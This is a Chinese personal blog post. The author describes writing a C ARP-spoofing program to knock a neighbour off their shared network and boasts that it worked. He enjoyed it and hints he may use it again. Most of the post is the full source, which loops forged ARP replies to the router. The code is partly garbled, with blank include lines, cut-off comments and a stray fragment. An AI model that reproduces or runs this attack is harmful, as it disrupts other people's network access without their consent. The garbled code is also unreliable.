最近感冒老不好所以情绪可能不太稳定 ,特别是当我每次上网聊qq跟不认识的mm在网络上调笑的时候总是出现掉线的情况 ,让我十分郁闷 。我仔细分析过,发现只要隔壁的那一对男女上网的时候网络速度就很慢 ,俺就只开个QQ也总是出现您刚才发送的消息没有发送成功的情况
早就不爽隔壁的狗男女了 ,不过想想其实人家也没什么不好的,平常也挺和气的 ,就是每天晚上折腾的声音太大,搞得单身的俺十分不爽 ,何况现在连上网进行精神发泄的途径如今也被剥夺了 ,所以在跟第n个不认识的mm聊天掉线后 ,终于将以前工作的东西改了改,写了如下的ARP地址欺骗的程序
原理很简单,就是发送一个假冒的ARP应答给路由器 ,让路由器认为隔壁的那台电脑的MAC地址是个我虚构的MAC地址 ,于是路由器就把数据发送到虚构的地址上去了于是隔壁的机器就掉线 。俺这么试验20分钟后,隔壁终于传来一声叹息 ,然后俺到客厅看路由器上的显示 ,隔壁机器已经关了 ,路由器上只有一个口的灯闪了 ,嘿嘿 ,做完坏事后居然有一种快感呵呵 ,然后开bt ,开qq,速度都很快呵呵 ,看来隔壁的作了不少坏事 ,要不是开了bt,要不就是中了木马 ,反正妨碍了别人上网 。
虽然有些快感 ,但好像良心上不能老这么干 ,有报应的呵呵。不过为了进一步验证程序是否确实有效果 ,以后在万不得已或者从纯技术的角度也不排除俺偶尔继续分析此程序实际效果的可能呵呵
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
unsigned char notexist_mac[ETH_ALEN] = {0x00 ,0x40 ,0x16 ,0x1b,0x00,0x99}; not exist
#pragma pack(push,1)
struct etharp {
struct arphdr hdr;
unsigned char sender_mac[6];
unsigned int sender_ip;
unsigned char rcver_mac[6];
unsigned int rcver_ip;
};
struct etharp_frame {
unsigned char dst[6];
unsigned char src[6];
unsigned short type;
struct etharp arp;
};
#pragma pack(pop)
#define ETH_ALEN 6 /* Octets in one ethernet addr */
void SendArpReplyeth0(int iSock,char *ptrRecvedEthPack,unsigned char *ptrSenderMAC_NIC, unsigned char *ptrSenderMAC_ARP, unsigned char *ptrDestMac_NIC ,unsigned char *ptrDestMac_ARP ,char* ptrcSenderIp ,char* ptrcRecverIp ,int iFace)
{
struct etharp_frame *recvBuffer ,*sendBuffer;
struct ethhdr *peth;
char arppack[60];
struct sockaddr_ll his_addr;
int iSendLen;
sendBuffer=(struct etharp_frame *)arppack;
if(ptrRecvedEthPack!=NULL)
memcpy(sendBuffer->src,ptrSenderMAC_NIC,6);
else
memcpy(sendBuffer->src,notexist_mac,6);
memcpy(sendBuffer->dst,ptrDestMac_NIC,6);
sendBuffer->type=htons(ETH_P_ARP);//#define ETH_P_ARP 0x0806
sendBuffer->arp.hdr.ar_hrd=htons(ARPHRD_ETHER); ARPHRD_ETHER 1
sendBuffer->arp.hdr.ar_pro=htons(0x0800);
sendBuffer->arp.hdr.ar_hln=(char)6; 件地址长度
sendBuffer->arp.hdr.ar_pln=(char)4; 议地址长度
sendBuffer->arp.hdr.ar_op=htons(ARPOP_REPLY);
>arp.rcver_ip= inet_addr("192.168.18.1") ;
sendBuffer->arp.rcver_ip= inet_addr(ptrcRecverIp) ;
if(ptrRecvedEthPack!=NULL)
memcpy(sendBuffer->arp.sender_mac,ptrSenderMAC_ARP,6);
else
memcpy(sendBuffer->arp.sender_mac,notexist_mac,6);
if(ptrRecvedEthPack !=NULL)
{
recvBuffer=(struct etharp_frame*)ptrRecvedEthPack;
peth =(struct ethhdr *)ptrRecvedEthPack;
memcpy(his_addr.sll_addr,recvBuffer->src,6);
}
else
{
ptrRecvedEthPack = (char *) malloc(60) ;
if(ptrRecvedEthPack ==0) exit(0) ;
memset(ptrRecvedEthPack ,0,60) ;
recvBuffer=(struct etharp_frame*)ptrRecvedEthPack;
peth =(struct ethhdr *)ptrRecvedEthPack;
memcpy(his_addr.sll_addr,ptrDestMac_NIC,6);
}
his_addr.sll_family=AF_PACKET;
his_addr.sll_halen=6;
his_addr.sll_ifindex=iFace;
iSendLen=sendto(iSock,(char *)&arppack,60,0,(struct sockaddr *)&his_addr,sizeof(struct sockaddr_ll));
if(iSendLen==-1)
{
syslog(LOG_INFO,"SendError:%s\n",strerror(errno));
}
}
void AnalyzeIp(char * ptrBuff ,int step )
{
struct iphdr *p_iphdr ;
p_iphdr = (struct iphdr *)( (char*)(ptrBuff) + step ) ;
printf("\nipheadlen = %d__ ipver = %d __TypeofService = %d__totallen = %d \n
protcol = %d ,s_addr = %s " ,
(p_iphdr->ihl) ,p_iphdr->version&0x0f,p_iphdr->tos ,ntohs(p_iphdr->tot_len) ,
p_iphdr->protocol ,inet_ntoa(p_iphdr->saddr) ) ; ;
printf("__ daddr = = %s\n" ,inet_ntoa(p_iphdr->daddr)) ;
}
int GetIndexbyName(int sd, const char* ifname)
{
int ret;
struct ifreq req;
strncpy(req.ifr_name,ifname,IFNAMSIZ);
ret=ioctl(sd,SIOCGIFINDEX,&req);
if (ret==-1)
{
return -1;
}
return req.ifr_ifindex;
}
main(int argc ,char**argv)
{
char * ptemp ;
struct ethhdr *peth;
struct sockaddr_ll my_addr;
int iRet;
int SockEthWan ;
int g_FaceEthWan ;
int iRecvLen = 0 ;
char g_cTestBuf[54];
int i = 0 ;
int isourcechk = 0 ;
int idestchk = 0 ;
int k = 0 ;
int iCount = 0 ;
unsigned char real_mac[ETH_ALEN] = {0x00 ,0x0b ,0x6a ,0x62,0xf6,0x35} ;
unsigned char local_mac[ETH_ALEN] = {0x00 ,0x0b ,0x6a ,0x62,0xf6,0x35} ; machine address
unsigned char local_mask[ETH_ALEN] = {0x00 ,0xe0 ,0x4c ,0xa1,0x09,0x0c} ; 's address
// unsigned char notexist_mac[ETH_ALEN] = {0x00 ,0x40 ,0x16 ,0x1b,0x00,0x99}; not exist
unsigned char router_mac[ETH_ALEN] = {0x00 ,0x40 ,0x16 ,0x1b,0x00,0xb8} ; 's address
struct etharp_frame *pdata;
struct iphdr *p_iphdr ;
SockEthWan = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
if(SockEthWan<0)
{
syslog(LOG_INFO,"Socket error %s",strerror(errno));
exit(1);
}
Socket To Net Card eth0
g_FaceEthWan=GetIndexbyName(SockEthWan,"eth0");
printf("g_FaceEthWan = %d \n",g_FaceEthWan) ;
my_addr.sll_family=AF_PACKET;
my_addr.sll_protocol=htons(ETH_P_ALL);
my_addr.sll_ifindex=g_FaceEthWan;
iRet=bind(SockEthWan,(struct sockaddr*)&my_addr,sizeof(struct sockaddr_ll));
if (iRet==-1)
{
syslog(LOG_INFO,"bind Eth Wan error %s",strerror(errno));
exit(1);
}
while(1)
{
iCount ++ ;
SendArpReplyeth0(SockEthWan ,0,local_mac,local_mac,router_mac,router_mac,"192.168.18.100", ,"192.168.18.1",g_FaceEthWan);
if(i ==10)
{
sleep(5) ;
i = 0 ;
}
}
}